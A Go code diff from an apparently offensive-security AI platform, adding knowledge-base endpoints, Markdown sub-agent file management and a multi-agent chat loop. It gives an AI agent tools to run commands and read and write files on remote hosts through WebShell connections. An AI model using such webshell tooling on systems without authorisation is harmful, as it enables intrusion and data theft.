@@ -102,12 +102,12 @@ func (h *KnowledgeHandler) GetItems(c *gin.Context) {
 		})
 		return
 	}
-	
+
 	// 分页模式：categoryPage=true 表示按分类分页，否则按项分页（向后兼容）
 	categoryPageMode := c.Query("categoryPage") != "false" // 默认使用分类分页
-	
+
 	// 分页参数
-	limit := 50 // 默认每页50条（分类分页时为分类数，项分页时为项数）
+	limit := 50 // 默认每页 50 条（分类分页时为分类数，项分页时为项数）
 	offset := 0
 	if limitStr := c.Query("limit"); limitStr != "" {
 		if parsed, err := parseInt(limitStr); err == nil && parsed > 0 && parsed <= 500 {
@@ -120,7 +120,7 @@ func (h *KnowledgeHandler) GetItems(c *gin.Context) {
 		}
 	}
 
-	// 如果指定了category参数，且使用分类分页模式，则只返回该分类
+	// 如果指定了 category 参数，且使用分类分页模式，则只返回该分类
 	if category != "" && categoryPageMode {
 		// 单分类模式：返回该分类的所有知识项（不分页）
 		items, total, err := h.manager.GetItemsSummary(category, 0, 0)
@@ -150,9 +150,9 @@ func (h *KnowledgeHandler) GetItems(c *gin.Context) {
 
 	if categoryPageMode {
 		// 按分类分页模式（默认）
-		// limit表示每页分类数，推荐5-10个分类
+		// limit 表示每页分类数，推荐 5-10 个分类
 		if limit <= 0 || limit > 100 {
-			limit = 10 // 默认每页10个分类
+			limit = 10 // 默认每页 10 个分类
 		}
 
 		categoriesWithItems, totalCategories, err := h.manager.GetCategoriesWithItems(limit, offset)
@@ -172,7 +172,7 @@ func (h *KnowledgeHandler) GetItems(c *gin.Context) {
 	}
 
 	// 按项分页模式（向后兼容）
-	// 是否包含完整内容（默认false，只返回摘要）
+	// 是否包含完整内容（默认 false，只返回摘要）
 	includeContent := c.Query("includeContent") == "true"
 
 	if includeContent {
@@ -192,9 +192,9 @@ func (h *KnowledgeHandler) GetItems(c *gin.Context) {
 		}
 
 		c.JSON(http.StatusOK, gin.H{
-			"items": items,
-			"total": total,
-			"limit": limit,
+			"items":  items,
+			"total":  total,
+			"limit":  limit,
 			"offset": offset,
 		})
 	} else {
@@ -207,9 +207,9 @@ func (h *KnowledgeHandler) GetItems(c *gin.Context) {
 		}
 
 		c.JSON(http.StatusOK, gin.H{
-			"items": items,
-			"total": total,
-			"limit": limit,
+			"items":  items,
+			"total":  total,
+			"limit":  limit,
 			"offset": offset,
 		})
 	}
@@ -341,12 +341,12 @@ func (h *KnowledgeHandler) ScanKnowledgeBase(c *gin.Context) {
 		consecutiveFailures := 0
 		var firstFailureItemID string
 		var firstFailureError error
-		
+
 		for i, itemID := range itemsToIndex {
 			if err := h.indexer.IndexItem(ctx, itemID); err != nil {
 				failedCount++
 				consecutiveFailures++
-				
+
 				// 只在第一个失败时记录详细日志
 				if consecutiveFailures == 1 {
 					firstFailureItemID = itemID
@@ -357,8 +357,8 @@ func (h *KnowledgeHandler) ScanKnowledgeBase(c *gin.Context) {
 						zap.Error(err),
 					)
 				}
-				
-				// 如果连续失败2次，立即停止增量索引
+
+				// 如果连续失败 2 次，立即停止增量索引
 				if consecutiveFailures >= 2 {
 					h.logger.Error("连续索引失败次数过多，立即停止增量索引",
 						zap.Int("consecutiveFailures", consecutiveFailures),
@@ -371,14 +371,14 @@ func (h *KnowledgeHandler) ScanKnowledgeBase(c *gin.Context) {
 				}
 				continue
 			}
-			
+
 			// 成功时重置连续失败计数
 			if consecutiveFailures > 0 {
 				consecutiveFailures = 0
 				firstFailureItemID = ""
 				firstFailureError = nil
 			}
-			
+
 			// 减少进度日志频率
 			if (i+1)%10 == 0 || i+1 == len(itemsToIndex) {
 				h.logger.Info("索引进度", zap.Int("current", i+1), zap.Int("total", len(itemsToIndex)), zap.Int("failed", failedCount))
@@ -388,7 +388,7 @@ func (h *KnowledgeHandler) ScanKnowledgeBase(c *gin.Context) {
 	}()
 
 	c.JSON(http.StatusOK, gin.H{
-		"message":      fmt.Sprintf("扫描完成，开始索引 %d 个新添加或更新的知识项", len(itemsToIndex)),
+		"message":        fmt.Sprintf("扫描完成，开始索引 %d 个新添加或更新的知识项", len(itemsToIndex)),
 		"items_to_index": len(itemsToIndex),
 	})
 }
@@ -397,7 +397,7 @@ func (h *KnowledgeHandler) ScanKnowledgeBase(c *gin.Context) {
 func (h *KnowledgeHandler) GetRetrievalLogs(c *gin.Context) {
 	conversationID := c.Query("conversationId")
 	messageID := c.Query("messageId")
-	limit := 50 // 默认50条
+	limit := 50 // 默认 50 条
 
 	if limitStr := c.Query("limit"); limitStr != "" {
 		if parsed, err := parseInt(limitStr); err == nil && parsed > 0 {
@@ -441,18 +441,40 @@ func (h *KnowledgeHandler) GetIndexStatus(c *gin.Context) {
 	if h.indexer != nil {
 		lastError, lastErrorTime := h.indexer.GetLastError()
 		if lastError != "" {
-			// 如果错误是最近发生的（5分钟内），则返回错误信息
+			// 如果错误是最近发生的（5 分钟内），则返回错误信息
 			if time.Since(lastErrorTime) < 5*time.Minute {
 				status["last_error"] = lastError
 				status["last_error_time"] = lastErrorTime.Format(time.RFC3339)
 			}
 		}
+
+		// 获取重建索引状态
+		isRebuilding, totalItems, current, failed, lastItemID, lastChunks, startTime := h.indexer.GetRebuildStatus()
+		if isRebuilding {
+			status["is_rebuilding"] = true
+			status["rebuild_total"] = totalItems
+			status["rebuild_current"] = current
+			status["rebuild_failed"] = failed
+			status["rebuild_start_time"] = startTime.Format(time.RFC3339)
+			if lastItemID != "" {
+				status["rebuild_last_item_id"] = lastItemID
+			}
+			if lastChunks > 0 {
+				status["rebuild_last_chunks"] = lastChunks
+			}
+			// 重建中时，is_complete 为 false
+			status["is_complete"] = false
+			// 计算重建进度百分比
+			if totalItems > 0 {
+				status["progress_percent"] = float64(current) / float64(totalItems) * 100
+			}
+		}
 	}
 
 	c.JSON(http.StatusOK, status)
 }
 
-// Search 搜索知识库（用于API调用，Agent内部使用Retriever）
+// Search 搜索知识库（用于 API 调用，Agent 内部使用 Retriever）
 func (h *KnowledgeHandler) Search(c *gin.Context) {
 	var req knowledge.SearchRequest
 	if err := c.ShouldBindJSON(&req); err != nil {
@@ -470,10 +492,25 @@ func (h *KnowledgeHandler) Search(c *gin.Context) {
 	c.JSON(http.StatusOK, gin.H{"results": results})
 }
 
+// GetStats 获取知识库统计信息
+func (h *KnowledgeHandler) GetStats(c *gin.Context) {
+	totalCategories, totalItems, err := h.manager.GetStats()
+	if err != nil {
+		h.logger.Error("获取知识库统计信息失败", zap.Error(err))
+		c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+
+	c.JSON(http.StatusOK, gin.H{
+		"enabled":          true,
+		"total_categories": totalCategories,
+		"total_items":      totalItems,
+	})
+}
+
 // 辅助函数：解析整数
 func parseInt(s string) (int, error) {
 	var result int
 	_, err := fmt.Sscanf(s, "%d", &result)
 	return result, err
 }
-

internal/handler/markdown_agents.go

@@ -0,0 +1,299 @@
+package handler
+
+import (
+	"fmt"
+	"net/http"
+	"os"
+	"path/filepath"
+	"regexp"
+	"strings"
+
+	"cyberstrike-ai/internal/agents"
+	"cyberstrike-ai/internal/config"
+
+	"github.com/gin-gonic/gin"
+)
+
+var markdownAgentFilenameRe = regexp.MustCompile(`^[a-zA-Z0-9][a-zA-Z0-9_.-]*\.md$`)
+
+// MarkdownAgentsHandler 管理 agents 目录下子代理 Markdown（增删改查）。
+type MarkdownAgentsHandler struct {
+	dir string
+}
+
+// NewMarkdownAgentsHandler dir 须为已解析的绝对路径。
+func NewMarkdownAgentsHandler(dir string) *MarkdownAgentsHandler {
+	return &MarkdownAgentsHandler{dir: strings.TrimSpace(dir)}
+}
+
+func (h *MarkdownAgentsHandler) safeJoin(filename string) (string, error) {
+	filename = strings.TrimSpace(filename)
+	if filename == "" || !markdownAgentFilenameRe.MatchString(filename) {
+		return "", fmt.Errorf("非法文件名")
+	}
+	clean := filepath.Clean(filename)
+	if clean != filename || strings.Contains(clean, "..") {
+		return "", fmt.Errorf("非法文件名")
+	}
+	return filepath.Join(h.dir, clean), nil
+}
+
+// existingOtherOrchestrator 若目录中已有别的主代理文件，返回其文件名；writingBasename 为当前正在写入的文件名时视为同一文件不冲突。
+func existingOtherOrchestrator(dir, writingBasename string) (other string, err error) {
+	load, err := agents.LoadMarkdownAgentsDir(dir)
+	if err != nil {
+		return "", err
+	}
+	if load.Orchestrator == nil {
+		return "", nil
+	}
+	if strings.EqualFold(load.Orchestrator.Filename, writingBasename) {
+		return "", nil
+	}
+	return load.Orchestrator.Filename, nil
+}
+
+// ListMarkdownAgents GET /api/multi-agent/markdown-agents
+func (h *MarkdownAgentsHandler) ListMarkdownAgents(c *gin.Context) {
+	if h.dir == "" {
+		c.JSON(http.StatusOK, gin.H{"agents": []any{}, "dir": "", "error": "未配置 agents 目录"})
+		return
+	}
+	files, err := agents.LoadMarkdownAgentFiles(h.dir)
+	if err != nil {
+		c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+	out := make([]gin.H, 0, len(files))
+	for _, fa := range files {
+		sub := fa.Config
+		out = append(out, gin.H{
+			"filename":        fa.Filename,
+			"id":              sub.ID,
+			"name":            sub.Name,
+			"description":     sub.Description,
+			"is_orchestrator": fa.IsOrchestrator,
+			"kind":            sub.Kind,
+		})
+	}
+	c.JSON(http.StatusOK, gin.H{"agents": out, "dir": h.dir})
+}
+
+// GetMarkdownAgent GET /api/multi-agent/markdown-agents/:filename
+func (h *MarkdownAgentsHandler) GetMarkdownAgent(c *gin.Context) {
+	filename := c.Param("filename")
+	path, err := h.safeJoin(filename)
+	if err != nil {
+		c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
+		return
+	}
+	b, err := os.ReadFile(path)
+	if err != nil {
+		if os.IsNotExist(err) {
+			c.JSON(http.StatusNotFound, gin.H{"error": "文件不存在"})
+			return
+		}
+		c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+	sub, err := agents.ParseMarkdownSubAgent(filename, string(b))
+	if err != nil {
+		c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
+		return
+	}
+	isOrch := agents.IsOrchestratorMarkdown(filename, agents.FrontMatter{Kind: sub.Kind})
+	c.JSON(http.StatusOK, gin.H{
+		"filename":        filename,
+		"raw":             string(b),
+		"id":              sub.ID,
+		"name":            sub.Name,
+		"description":     sub.Description,
+		"tools":           sub.RoleTools,
+		"instruction":     sub.Instruction,
+		"bind_role":       sub.BindRole,
+		"max_iterations":  sub.MaxIterations,
+		"kind":            sub.Kind,
+		"is_orchestrator": isOrch,
+	})
+}
+
+type markdownAgentBody struct {
+	Filename       string   `json:"filename"`
+	ID             string   `json:"id"`
+	Name           string   `json:"name"`
+	Description    string   `json:"description"`
+	Tools          []string `json:"tools"`
+	Instruction    string   `json:"instruction"`
+	BindRole       string   `json:"bind_role"`
+	MaxIterations  int      `json:"max_iterations"`
+	Kind           string   `json:"kind"`
+	Raw            string   `json:"raw"`
+}
+
+// CreateMarkdownAgent POST /api/multi-agent/markdown-agents
+func (h *MarkdownAgentsHandler) CreateMarkdownAgent(c *gin.Context) {
+	if h.dir == "" {
+		c.JSON(http.StatusBadRequest, gin.H{"error": "未配置 agents 目录"})
+		return
+	}
+	var body markdownAgentBody
+	if err := c.ShouldBindJSON(&body); err != nil {
+		c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
+		return
+	}
+	filename := strings.TrimSpace(body.Filename)
+	if filename == "" {
+		if strings.EqualFold(strings.TrimSpace(body.Kind), "orchestrator") {
+			filename = agents.OrchestratorMarkdownFilename
+		} else {
+			base := agents.SlugID(body.Name)
+			if base == "" {
+				base = "agent"
+			}
+			filename = base + ".md"
+		}
+	}
+	path, err := h.safeJoin(filename)
+	if err != nil {
+		c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
+		return
+	}
+	if _, err := os.Stat(path); err == nil {
+		c.JSON(http.StatusConflict, gin.H{"error": "文件已存在"})
+		return
+	}
+	sub := config.MultiAgentSubConfig{
+		ID:            strings.TrimSpace(body.ID),
+		Name:          strings.TrimSpace(body.Name),
+		Description:   strings.TrimSpace(body.Description),
+		Instruction:   strings.TrimSpace(body.Instruction),
+		RoleTools:     body.Tools,
+		BindRole:      strings.TrimSpace(body.BindRole),
+		MaxIterations: body.MaxIterations,
+		Kind:          strings.TrimSpace(body.Kind),
+	}
+	if strings.EqualFold(filepath.Base(path), agents.OrchestratorMarkdownFilename) && sub.Kind == "" {
+		sub.Kind = "orchestrator"
+	}
+	if sub.ID == "" {
+		sub.ID = agents.SlugID(sub.Name)
+	}
+	if sub.Name == "" {
+		c.JSON(http.StatusBadRequest, gin.H{"error": "name 必填"})
+		return
+	}
+	var out []byte
+	if strings.TrimSpace(body.Raw) != "" {
+		out = []byte(body.Raw)
+	} else {
+		out, err = agents.BuildMarkdownFile(sub)
+		if err != nil {
+			c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+			return
+		}
+	}
+	if want := agents.WantsMarkdownOrchestrator(filepath.Base(path), body.Kind, string(out)); want {
+		other, oerr := existingOtherOrchestrator(h.dir, filepath.Base(path))
+		if oerr != nil {
+			c.JSON(http.StatusInternalServerError, gin.H{"error": oerr.Error()})
+			return
+		}
+		if other != "" {
+			c.JSON(http.StatusConflict, gin.H{"error": fmt.Sprintf("已存在主代理定义：%s，请先删除或取消其主代理标记", other)})
+			return
+		}
+	}
+	if err := os.MkdirAll(h.dir, 0755); err != nil {
+		c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+	if err := os.WriteFile(path, out, 0644); err != nil {
+		c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+	c.JSON(http.StatusOK, gin.H{"filename": filepath.Base(path), "message": "已创建"})
+}
+
+// UpdateMarkdownAgent PUT /api/multi-agent/markdown-agents/:filename
+func (h *MarkdownAgentsHandler) UpdateMarkdownAgent(c *gin.Context) {
+	filename := c.Param("filename")
+	path, err := h.safeJoin(filename)
+	if err != nil {
+		c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
+		return
+	}
+	var body markdownAgentBody
+	if err := c.ShouldBindJSON(&body); err != nil {
+		c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
+		return
+	}
+	sub := config.MultiAgentSubConfig{
+		ID:            strings.TrimSpace(body.ID),
+		Name:          strings.TrimSpace(body.Name),
+		Description:   strings.TrimSpace(body.Description),
+		Instruction:   strings.TrimSpace(body.Instruction),
+		RoleTools:     body.Tools,
+		BindRole:      strings.TrimSpace(body.BindRole),
+		MaxIterations: body.MaxIterations,
+		Kind:          strings.TrimSpace(body.Kind),
+	}
+	if strings.EqualFold(filename, agents.OrchestratorMarkdownFilename) && sub.Kind == "" {
+		sub.Kind = "orchestrator"
+	}
+	if sub.Name == "" {
+		c.JSON(http.StatusBadRequest, gin.H{"error": "name 必填"})
+		return
+	}
+	if sub.ID == "" {
+		sub.ID = agents.SlugID(sub.Name)
+	}
+	var out []byte
+	if strings.TrimSpace(body.Raw) != "" {
+		out = []byte(body.Raw)
+	} else {
+		out, err = agents.BuildMarkdownFile(sub)
+		if err != nil {
+			c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+			return
+		}
+	}
+	if want := agents.WantsMarkdownOrchestrator(filename, body.Kind, string(out)); want {
+		other, oerr := existingOtherOrchestrator(h.dir, filename)
+		if oerr != nil {
+			c.JSON(http.StatusInternalServerError, gin.H{"error": oerr.Error()})
+			return
+		}
+		if other != "" {
+			c.JSON(http.StatusConflict, gin.H{"error": fmt.Sprintf("已存在主代理定义：%s，请先删除或取消其主代理标记", other)})
+			return
+		}
+	}
+	if err := os.WriteFile(path, out, 0644); err != nil {
+		if os.IsNotExist(err) {
+			c.JSON(http.StatusNotFound, gin.H{"error": "文件不存在"})
+			return
+		}
+		c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+	c.JSON(http.StatusOK, gin.H{"message": "已保存"})
+}
+
+// DeleteMarkdownAgent DELETE /api/multi-agent/markdown-agents/:filename
+func (h *MarkdownAgentsHandler) DeleteMarkdownAgent(c *gin.Context) {
+	filename := c.Param("filename")
+	path, err := h.safeJoin(filename)
+	if err != nil {
+		c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
+		return
+	}
+	if err := os.Remove(path); err != nil {
+		if os.IsNotExist(err) {
+			c.JSON(http.StatusNotFound, gin.H{"error": "文件不存在"})
+			return
+		}
+		c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+	c.JSON(http.StatusOK, gin.H{"message": "已删除"})
+}

internal/handler/multi_agent.go

@@ -0,0 +1,289 @@
+package handler
+
+import (
+	"context"
+	"encoding/json"
+	"errors"
+	"fmt"
+	"net/http"
+	"strings"
+	"time"
+
+	"cyberstrike-ai/internal/multiagent"
+
+	"github.com/gin-gonic/gin"
+	"go.uber.org/zap"
+)
+
+// MultiAgentLoopStream Eino DeepAgent 流式对话（需 config.multi_agent.enabled）。
+func (h *AgentHandler) MultiAgentLoopStream(c *gin.Context) {
+	c.Header("Content-Type", "text/event-stream")
+	c.Header("Cache-Control", "no-cache")
+	c.Header("Connection", "keep-alive")
+	if h.config == nil || !h.config.MultiAgent.Enabled {
+		ev := StreamEvent{Type: "error", Message: "多代理未启用，请在设置或 config.yaml 中开启 multi_agent.enabled"}
+		b, _ := json.Marshal(ev)
+		fmt.Fprintf(c.Writer, "data: %s\n\n", b)
+		done := StreamEvent{Type: "done", Message: ""}
+		db, _ := json.Marshal(done)
+		fmt.Fprintf(c.Writer, "data: %s\n\n", db)
+		if flusher, ok := c.Writer.(http.Flusher); ok {
+			flusher.Flush()
+		}
+		return
+	}
+
+	var req ChatRequest
+	if err := c.ShouldBindJSON(&req); err != nil {
+		event := StreamEvent{Type: "error", Message: "请求参数错误: " + err.Error()}
+		b, _ := json.Marshal(event)
+		fmt.Fprintf(c.Writer, "data: %s\n\n", b)
+		c.Writer.Flush()
+		return
+	}
+
+	c.Header("X-Accel-Buffering", "no")
+
+	clientDisconnected := false
+	sendEvent := func(eventType, message string, data interface{}) {
+		if clientDisconnected {
+			return
+		}
+		select {
+		case <-c.Request.Context().Done():
+			clientDisconnected = true
+			return
+		default:
+		}
+		ev := StreamEvent{Type: eventType, Message: message, Data: data}
+		b, _ := json.Marshal(ev)
+		if _, err := fmt.Fprintf(c.Writer, "data: %s\n\n", b); err != nil {
+			clientDisconnected = true
+			return
+		}
+		if flusher, ok := c.Writer.(http.Flusher); ok {
+			flusher.Flush()
+		} else {
+			c.Writer.Flush()
+		}
+	}
+
+	h.logger.Info("收到 Eino DeepAgent 流式请求",
+		zap.String("conversationId", req.ConversationID),
+	)
+
+	prep, err := h.prepareMultiAgentSession(&req)
+	if err != nil {
+		sendEvent("error", err.Error(), nil)
+		sendEvent("done", "", nil)
+		return
+	}
+	if prep.CreatedNew {
+		sendEvent("conversation", "会话已创建", map[string]interface{}{
+			"conversationId": prep.ConversationID,
+		})
+	}
+
+	conversationID := prep.ConversationID
+	assistantMessageID := prep.AssistantMessageID
+
+	progressCallback := h.createProgressCallback(conversationID, assistantMessageID, sendEvent)
+
+	baseCtx, cancelWithCause := context.WithCancelCause(context.Background())
+	taskCtx, timeoutCancel := context.WithTimeout(baseCtx, 600*time.Minute)
+	defer timeoutCancel()
+	defer cancelWithCause(nil)
+
+	if _, err := h.tasks.StartTask(conversationID, req.Message, cancelWithCause); err != nil {
+		var errorMsg string
+		if errors.Is(err, ErrTaskAlreadyRunning) {
+			errorMsg = "⚠️ 当前会话已有任务正在执行中，请等待当前任务完成或点击「停止任务」后再尝试。"
+			sendEvent("error", errorMsg, map[string]interface{}{
+				"conversationId": conversationID,
+				"errorType":      "task_already_running",
+			})
+		} else {
+			errorMsg = "❌ 无法启动任务: " + err.Error()
+			sendEvent("error", errorMsg, nil)
+		}
+		if assistantMessageID != "" {
+			_, _ = h.db.Exec("UPDATE messages SET content = ? WHERE id = ?", errorMsg, assistantMessageID)
+		}
+		sendEvent("done", "", map[string]interface{}{"conversationId": conversationID})
+		return
+	}
+
+	taskStatus := "completed"
+	defer h.tasks.FinishTask(conversationID, taskStatus)
+
+	sendEvent("progress", "正在启动 Eino DeepAgent...", map[string]interface{}{
+		"conversationId": conversationID,
+	})
+
+	result, runErr := multiagent.RunDeepAgent(
+		taskCtx,
+		h.config,
+		&h.config.MultiAgent,
+		h.agent,
+		h.logger,
+		conversationID,
+		prep.FinalMessage,
+		prep.History,
+		prep.RoleTools,
+		progressCallback,
+		h.agentsMarkdownDir,
+	)
+
+	if runErr != nil {
+		h.logger.Error("Eino DeepAgent 执行失败", zap.Error(runErr))
+		cause := context.Cause(baseCtx)
+		if errors.Is(cause, ErrTaskCancelled) {
+			taskStatus = "cancelled"
+			h.tasks.UpdateTaskStatus(conversationID, taskStatus)
+			cancelMsg := "任务已被用户取消，后续操作已停止。"
+			if assistantMessageID != "" {
+				_, _ = h.db.Exec("UPDATE messages SET content = ? WHERE id = ?", cancelMsg, assistantMessageID)
+				_ = h.db.AddProcessDetail(assistantMessageID, conversationID, "cancelled", cancelMsg, nil)
+			}
+			sendEvent("cancelled", cancelMsg, map[string]interface{}{
+				"conversationId": conversationID,
+				"messageId":      assistantMessageID,
+			})
+			sendEvent("done", "", map[string]interface{}{"conversationId": conversationID})
+			return
+		}
+
+		taskStatus = "failed"
+		h.tasks.UpdateTaskStatus(conversationID, taskStatus)
+		errMsg := "执行失败: " + runErr.Error()
+		if assistantMessageID != "" {
+			_, _ = h.db.Exec("UPDATE messages SET content = ? WHERE id = ?", errMsg, assistantMessageID)
+			_ = h.db.AddProcessDetail(assistantMessageID, conversationID, "error", errMsg, nil)
+		}
+		sendEvent("error", errMsg, map[string]interface{}{
+			"conversationId": conversationID,
+			"messageId":      assistantMessageID,
+		})
+		sendEvent("done", "", map[string]interface{}{"conversationId": conversationID})
+		return
+	}
+
+	if assistantMessageID != "" {
+		mcpIDsJSON := ""
+		if len(result.MCPExecutionIDs) > 0 {
+			jsonData, _ := json.Marshal(result.MCPExecutionIDs)
+			mcpIDsJSON = string(jsonData)
+		}
+		_, _ = h.db.Exec(
+			"UPDATE messages SET content = ?, mcp_execution_ids = ? WHERE id = ?",
+			result.Response,
+			mcpIDsJSON,
+			assistantMessageID,
+		)
+	}
+
+	if result.LastReActInput != "" || result.LastReActOutput != "" {
+		if err := h.db.SaveReActData(conversationID, result.LastReActInput, result.LastReActOutput); err != nil {
+			h.logger.Warn("保存 ReAct 数据失败", zap.Error(err))
+		}
+	}
+
+	sendEvent("response", result.Response, map[string]interface{}{
+		"mcpExecutionIds": result.MCPExecutionIDs,
+		"conversationId":  conversationID,
+		"messageId":       assistantMessageID,
+		"agentMode":       "eino_deep",
+	})
+	sendEvent("done", "", map[string]interface{}{"conversationId": conversationID})
+}
+
+// MultiAgentLoop Eino DeepAgent 非流式对话（与 POST /api/agent-loop 对齐，需 multi_agent.enabled）。
+func (h *AgentHandler) MultiAgentLoop(c *gin.Context) {
+	if h.config == nil || !h.config.MultiAgent.Enabled {
+		c.JSON(http.StatusNotFound, gin.H{"error": "多代理未启用，请在 config.yaml 中设置 multi_agent.enabled: true"})
+		return
+	}
+
+	var req ChatRequest
+	if err := c.ShouldBindJSON(&req); err != nil {
+		c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
+		return
+	}
+
+	h.logger.Info("收到 Eino DeepAgent 非流式请求", zap.String("conversationId", req.ConversationID))
+
+	prep, err := h.prepareMultiAgentSession(&req)
+	if err != nil {
+		status, msg := multiAgentHTTPErrorStatus(err)
+		c.JSON(status, gin.H{"error": msg})
+		return
+	}
+
+	result, runErr := multiagent.RunDeepAgent(
+		c.Request.Context(),
+		h.config,
+		&h.config.MultiAgent,
+		h.agent,
+		h.logger,
+		prep.ConversationID,
+		prep.FinalMessage,
+		prep.History,
+		prep.RoleTools,
+		nil,
+		h.agentsMarkdownDir,
+	)
+	if runErr != nil {
+		h.logger.Error("Eino DeepAgent 执行失败", zap.Error(runErr))
+		errMsg := "执行失败: " + runErr.Error()
+		if prep.AssistantMessageID != "" {
+			_, _ = h.db.Exec("UPDATE messages SET content = ? WHERE id = ?", errMsg, prep.AssistantMessageID)
+		}
+		c.JSON(http.StatusInternalServerError, gin.H{"error": errMsg})
+		return
+	}
+
+	if prep.AssistantMessageID != "" {
+		mcpIDsJSON := ""
+		if len(result.MCPExecutionIDs) > 0 {
+			jsonData, _ := json.Marshal(result.MCPExecutionIDs)
+			mcpIDsJSON = string(jsonData)
+		}
+		_, _ = h.db.Exec(
+			"UPDATE messages SET content = ?, mcp_execution_ids = ? WHERE id = ?",
+			result.Response,
+			mcpIDsJSON,
+			prep.AssistantMessageID,
+		)
+	}
+
+	if result.LastReActInput != "" || result.LastReActOutput != "" {
+		if err := h.db.SaveReActData(prep.ConversationID, result.LastReActInput, result.LastReActOutput); err != nil {
+			h.logger.Warn("保存 ReAct 数据失败", zap.Error(err))
+		}
+	}
+
+	c.JSON(http.StatusOK, ChatResponse{
+		Response:        result.Response,
+		MCPExecutionIDs: result.MCPExecutionIDs,
+		ConversationID:  prep.ConversationID,
+		Time:            time.Now(),
+	})
+}
+
+func multiAgentHTTPErrorStatus(err error) (int, string) {
+	msg := err.Error()
+	switch {
+	case strings.Contains(msg, "对话不存在"):
+		return http.StatusNotFound, msg
+	case strings.Contains(msg, "未找到该 WebShell"):
+		return http.StatusBadRequest, msg
+	case strings.Contains(msg, "附件最多"):
+		return http.StatusBadRequest, msg
+	case strings.Contains(msg, "保存用户消息失败"), strings.Contains(msg, "创建对话失败"):
+		return http.StatusInternalServerError, msg
+	case strings.Contains(msg, "保存上传文件失败"):
+		return http.StatusInternalServerError, msg
+	default:
+		return http.StatusBadRequest, msg
+	}
+}

internal/handler/multi_agent_prepare.go

@@ -0,0 +1,133 @@
+package handler
+
+import (
+	"fmt"
+	"strings"
+
+	"cyberstrike-ai/internal/agent"
+	"cyberstrike-ai/internal/database"
+	"cyberstrike-ai/internal/mcp/builtin"
+
+	"go.uber.org/zap"
+)
+
+// multiAgentPrepared 多代理请求在调用 Eino 前的会话与消息准备结果。
+type multiAgentPrepared struct {
+	ConversationID     string
+	CreatedNew         bool
+	History            []agent.ChatMessage
+	FinalMessage       string
+	RoleTools          []string
+	AssistantMessageID string
+}
+
+func (h *AgentHandler) prepareMultiAgentSession(req *ChatRequest) (*multiAgentPrepared, error) {
+	if len(req.Attachments) > maxAttachments {
+		return nil, fmt.Errorf("附件最多 %d 个", maxAttachments)
+	}
+
+	conversationID := strings.TrimSpace(req.ConversationID)
+	createdNew := false
+	if conversationID == "" {
+		title := safeTruncateString(req.Message, 50)
+		var conv *database.Conversation
+		var err error
+		if strings.TrimSpace(req.WebShellConnectionID) != "" {
+			conv, err = h.db.CreateConversationWithWebshell(strings.TrimSpace(req.WebShellConnectionID), title)
+		} else {
+			conv, err = h.db.CreateConversation(title)
+		}
+		if err != nil {
+			return nil, fmt.Errorf("创建对话失败: %w", err)
+		}
+		conversationID = conv.ID
+		createdNew = true
+	} else {
+		if _, err := h.db.GetConversation(conversationID); err != nil {
+			return nil, fmt.Errorf("对话不存在")
+		}
+	}
+
+	agentHistoryMessages, err := h.loadHistoryFromReActData(conversationID)
+	if err != nil {
+		historyMessages, getErr := h.db.GetMessages(conversationID)
+		if getErr != nil {
+			agentHistoryMessages = []agent.ChatMessage{}
+		} else {
+			agentHistoryMessages = make([]agent.ChatMessage, 0, len(historyMessages))
+			for _, msg := range historyMessages {
+				agentHistoryMessages = append(agentHistoryMessages, agent.ChatMessage{
+					Role:    msg.Role,
+					Content: msg.Content,
+				})
+			}
+		}
+	}
+
+	finalMessage := req.Message
+	var roleTools []string
+	if req.WebShellConnectionID != "" {
+		conn, errConn := h.db.GetWebshellConnection(strings.TrimSpace(req.WebShellConnectionID))
+		if errConn != nil || conn == nil {
+			h.logger.Warn("WebShell AI 助手：未找到连接", zap.String("id", req.WebShellConnectionID), zap.Error(errConn))
+			return nil, fmt.Errorf("未找到该 WebShell 连接")
+		}
+		remark := conn.Remark
+		if remark == "" {
+			remark = conn.URL
+		}
+		finalMessage = fmt.Sprintf("[WebShell 助手上下文] 当前连接 ID：%s，备注：%s。可用工具（仅在该连接上操作时使用，connection_id 填 \"%s\"）：webshell_exec、webshell_file_list、webshell_file_read、webshell_file_write、record_vulnerability、list_knowledge_risk_types、search_knowledge_base、list_skills、read_skill。请根据用户输入决定下一步：若仅为问候、闲聊或简单问题，直接简短回复即可，不必调用工具；当用户明确需要执行命令、列目录、读写文件、记录漏洞或检索知识库/查看 Skills 等操作时再调用上述工具。\n\n用户请求：%s",
+			conn.ID, remark, conn.ID, req.Message)
+		roleTools = []string{
+			builtin.ToolWebshellExec,
+			builtin.ToolWebshellFileList,
+			builtin.ToolWebshellFileRead,
+			builtin.ToolWebshellFileWrite,
+			builtin.ToolRecordVulnerability,
+			builtin.ToolListKnowledgeRiskTypes,
+			builtin.ToolSearchKnowledgeBase,
+			builtin.ToolListSkills,
+			builtin.ToolReadSkill,
+		}
+	} else if req.Role != "" && req.Role != "默认" && h.config != nil && h.config.Roles != nil {
+		if role, exists := h.config.Roles[req.Role]; exists && role.Enabled {
+			if role.UserPrompt != "" {
+				finalMessage = role.UserPrompt + "\n\n" + req.Message
+			}
+			roleTools = role.Tools
+		}
+	}
+
+	var savedPaths []string
+	if len(req.Attachments) > 0 {
+		var aerr error
+		savedPaths, aerr = saveAttachmentsToDateAndConversationDir(req.Attachments, conversationID, h.logger)
+		if aerr != nil {
+			return nil, fmt.Errorf("保存上传文件失败: %w", aerr)
+		}
+	}
+	finalMessage = appendAttachmentsToMessage(finalMessage, req.Attachments, savedPaths)
+
+	userContent := userMessageContentForStorage(req.Message, req.Attachments, savedPaths)
